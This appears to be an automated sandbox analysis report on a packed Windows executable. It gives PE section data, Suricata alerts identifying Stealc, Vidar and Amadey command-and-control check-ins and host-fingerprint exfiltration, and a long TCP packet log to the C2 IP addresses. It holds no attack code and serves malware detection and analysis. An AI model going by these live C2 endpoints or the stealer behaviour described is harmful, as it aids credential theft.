IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	a6465e1dec68ece0bd9e69655c525402	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	0d36f996b7b6b3955bbfc46cde8a06a9	False	0.580078125	data	4.526724548843471	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2b7000	0x200	eb8fac51aac7f0eaa3d5d12384b44bc3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vqntibyw	0x503000	0x1ab000	0x1aaa00	a8fc2c757c341e931407d8f3228eebf1	False	0.9946550871667155	data	7.9538823519007655	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dhxteean	0x6ae000	0x1000	0x400	0779f684cd170ae93fc923573b1c9c2c	False	0.7958984375	data	6.212278673479755	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6af000	0x3000	0x2200	787e3f90820b5323d0d8b763673d3b5c	False	0.076171875	DOS executable (COM)	1.0101872792902458	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x6ad734	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T16:50:26.405218+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.9	49707	185.215.113.206	80	TCP
2024-11-20T16:50:26.873088+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.9	49707	185.215.113.206	80	TCP
2024-11-20T16:50:26.994606+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.9	49707	TCP
2024-11-20T16:50:27.337102+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.9	49707	185.215.113.206	80	TCP
2024-11-20T16:50:27.469284+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.9	49707	TCP
2024-11-20T16:50:28.828325+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.9	49707	185.215.113.206	80	TCP
2024-11-20T16:50:29.573066+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49707	185.215.113.206	80	TCP
2024-11-20T16:50:51.763487+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49752	185.215.113.206	80	TCP
2024-11-20T16:50:53.908287+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49752	185.215.113.206	80	TCP
2024-11-20T16:50:55.195437+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49752	185.215.113.206	80	TCP
2024-11-20T16:50:56.317039+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49752	185.215.113.206	80	TCP
2024-11-20T16:50:59.870413+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49752	185.215.113.206	80	TCP
2024-11-20T16:51:00.875501+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49752	185.215.113.206	80	TCP
2024-11-20T16:51:06.753267+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.9	49832	185.215.113.16	80	TCP
2024-11-20T16:52:05.908686+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.9	49903	185.215.113.43	80	TCP
2024-11-20T16:52:10.586566+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49915	31.41.244.11	80	TCP
2024-11-20T16:52:13.806726+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.9	49910	TCP
2024-11-20T16:52:14.233342+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.9	49922	31.177.109.184	80	TCP
2024-11-20T16:52:15.197246+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.9	49927	185.215.113.43	80	TCP
2024-11-20T16:52:16.721153+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.9	49933	31.41.244.11	80	TCP
2024-11-20T16:52:28.055924+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.9	49959	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 16:50:17.116528988 CET	49676	443	192.168.2.9	23.206.229.209
Nov 20, 2024 16:50:17.119657040 CET	49675	443	192.168.2.9	23.206.229.209
Nov 20, 2024 16:50:17.366542101 CET	49674	443	192.168.2.9	23.206.229.209
Nov 20, 2024 16:50:20.382162094 CET	49677	443	192.168.2.9	20.189.173.11
Nov 20, 2024 16:50:24.345949888 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:24.465816021 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:24.465975046 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:24.466458082 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:24.587424994 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:25.900122881 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:25.900305986 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:25.903814077 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:26.025435925 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:26.405087948 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:26.405217886 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:26.409414053 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:26.531452894 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:26.725871086 CET	49676	443	192.168.2.9	23.206.229.209
Nov 20, 2024 16:50:26.727852106 CET	49675	443	192.168.2.9	23.206.229.209
Nov 20, 2024 16:50:26.872996092 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:26.873016119 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:26.873087883 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:26.874363899 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:26.975877047 CET	49674	443	192.168.2.9	23.206.229.209
Nov 20, 2024 16:50:26.994606018 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:27.336976051 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:27.337002039 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:27.337016106 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:27.337028027 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:27.337039948 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:27.337054968 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:27.337101936 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:27.337141991 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:27.345341921 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:27.345460892 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:27.346776962 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:27.346844912 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:27.348418951 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:27.469284058 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:27.810210943 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:27.810344934 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:27.841223001 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:27.841279030 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:27.960977077 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:27.960999966 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:27.961019993 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:27.961029053 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:27.961075068 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:27.961085081 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:28.828190088 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:28.828325033 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.110518932 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.232497931 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.498408079 CET	443	49706	23.206.229.209	192.168.2.9
Nov 20, 2024 16:50:29.498521090 CET	49706	443	192.168.2.9	23.206.229.209
Nov 20, 2024 16:50:29.572582006 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.572884083 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.573065996 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.574955940 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.575062990 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.575129986 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.575262070 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.582966089 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.583122969 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.583206892 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.583206892 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.591970921 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.591988087 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.592138052 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.600337029 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.600451946 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.600490093 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.600552082 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.608906984 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.609019995 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.609024048 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.609081984 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.702024937 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.702048063 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.702210903 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.706665993 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.706779957 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.706979036 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.706979036 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.714756966 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.714828968 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.714864016 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.714921951 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.723259926 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.723335028 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.723413944 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.723470926 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.731681108 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.731760025 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.782697916 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.782782078 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.782823086 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.782824039 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.786900997 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.787009001 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.788475990 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.788582087 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.788608074 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.788688898 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.797020912 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.797122002 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.797152996 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.797230959 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.805685043 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.805717945 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.805802107 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.805802107 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.814687967 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.814841986 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.814860106 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.814930916 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.823203087 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.823513985 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.823718071 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.831871986 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.831959009 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.834646940 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.834737062 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.834971905 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.835036993 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.842485905 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.842503071 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.842636108 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.860101938 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.860234022 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.860246897 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.860259056 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.860402107 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.860403061 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.866743088 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.867965937 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.912556887 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.912652016 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.912667036 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.912820101 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.916002035 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.916091919 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.916162014 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.916162014 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.923085928 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.923259020 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.923336029 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.930197954 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.930438042 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.930546045 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.937259912 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.937442064 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.940557003 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.940557003 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.944463015 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.944541931 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.944586992 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.944781065 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.951519012 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.951575994 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.953418970 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.953419924 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.959047079 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.959120989 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.961416006 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.965672970 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.965722084 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.965797901 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.968152046 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.993546963 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.993613005 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.993676901 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.995490074 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.995565891 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.995611906 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:29.999485016 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:29.999536037 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.001092911 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.001141071 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.001249075 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.001379013 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.004966021 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.005039930 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.005179882 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.008968115 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.009073973 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.009124994 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.012990952 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.013103008 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.013144016 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.016972065 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.017007113 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.017416954 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.020941973 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.021027088 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.021090031 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.024931908 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.025011063 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.025055885 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.028995991 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.029068947 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.029113054 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.029258966 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.032985926 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.033106089 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.046252012 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.046319008 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.046366930 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.051016092 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.051069021 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.051553011 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.051639080 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.053296089 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.053442955 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.053601027 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.054313898 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.057272911 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.057286024 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.057326078 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.061212063 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.061259985 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.061336994 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.061415911 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.065135002 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.065187931 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.124686956 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.124751091 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.124825954 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.124867916 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.126009941 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.126183033 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.126240015 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.129595995 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.129741907 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.129797935 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.133362055 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.133414030 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.133518934 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.133984089 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.135674000 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.135792971 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.135843992 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.139235973 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.139285088 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.139334917 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.142790079 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.142842054 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.142889977 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.142940998 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.146095037 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.146162987 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.146358013 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.146415949 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.149285078 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.149393082 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.149483919 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.152554989 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.152724981 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.152781010 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.152827024 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.155543089 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.155659914 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:30.155730009 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:30.158562899 CET	80	49707	185.215.113.206	192.168.2.9
